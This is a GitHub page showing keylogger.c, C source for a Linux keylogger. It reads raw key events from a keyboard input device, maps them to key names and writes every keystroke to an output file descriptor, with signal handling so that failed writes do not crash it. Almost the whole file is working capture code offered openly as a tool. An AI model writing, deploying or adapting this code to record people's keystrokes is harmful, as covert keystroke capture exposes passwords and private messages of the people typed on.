-
Notifications
You must be signed in to change notification settings - Fork 26
Expand file tree
/
Copy pathkeylogger.c
More file actions
164 lines (147 loc) · 3.05 KB
/
keylogger.c
File metadata and controls
164 lines (147 loc) · 3.05 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#include <linux/input.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include "keylogger.h"
#define BUFFER_SIZE 100
#define NUM_KEYCODES 71
const char *keycodes[] = {
"RESERVED",
"ESC",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"MINUS",
"EQUAL",
"BACKSPACE",
"TAB",
"Q",
"W",
"E",
"R",
"T",
"Y",
"U",
"I",
"O",
"P",
"LEFTBRACE",
"RIGHTBRACE",
"ENTER",
"LEFTCTRL",
"A",
"S",
"D",
"F",
"G",
"H",
"J",
"K",
"L",
"SEMICOLON",
"APOSTROPHE",
"GRAVE",
"LEFTSHIFT",
"BACKSLASH",
"Z",
"X",
"C",
"V",
"B",
"N",
"M",
"COMMA",
"DOT",
"SLASH",
"RIGHTSHIFT",
"KPASTERISK",
"LEFTALT",
"SPACE",
"CAPSLOCK",
"F1",
"F2",
"F3",
"F4",
"F5",
"F6",
"F7",
"F8",
"F9",
"F10",
"NUMLOCK",
"SCROLLLOCK"
};
int loop = 1;
void sigint_handler(int sig){
loop = 0;
}
/**
* Ensures that the string pointed to by str is written to the file with file
* descriptor file_desc.
*
* \returns 1 if writing completes succesfully, else 0
*/
int write_all(int file_desc, const char *str){
int bytesWritten = 0;
int bytesToWrite = strlen(str) + 1;
do {
bytesWritten = write(file_desc, str, bytesToWrite);
if(bytesWritten == -1){
return 0;
}
bytesToWrite -= bytesWritten;
str += bytesWritten;
} while(bytesToWrite > 0);
return 1;
}
/**
* Wrapper around write_all which exits safely if the write fails, without
* the SIGPIPE terminating the program abruptly.
*/
void safe_write_all(int file_desc, const char *str, int keyboard){
struct sigaction new_actn, old_actn;
new_actn.sa_handler = SIG_IGN;
sigemptyset(&new_actn.sa_mask);
new_actn.sa_flags = 0;
sigaction(SIGPIPE, &new_actn, &old_actn);
if(!write_all(file_desc, str)){
close(file_desc);
close(keyboard);
perror("\nwriting");
exit(1);
}
sigaction(SIGPIPE, &old_actn, NULL);
}
void keylogger(int keyboard, int writeout){
int eventSize = sizeof(struct input_event);
int bytesRead = 0;
struct input_event events[NUM_EVENTS];
int i;
signal(SIGINT, sigint_handler);
while(loop){
bytesRead = read(keyboard, events, eventSize * NUM_EVENTS);
for(i = 0; i < (bytesRead / eventSize); ++i){
if(events[i].type == EV_KEY){
if(events[i].value == 1){
if(events[i].code > 0 && events[i].code < NUM_KEYCODES){
safe_write_all(writeout, keycodes[events[i].code], keyboard);
safe_write_all(writeout, "\n", keyboard);
}
else{
write(writeout, "UNRECOGNIZED", sizeof("UNRECOGNIZED"));
}
}
}
}
}
if(bytesRead > 0) safe_write_all(writeout, "\n", keyboard);
}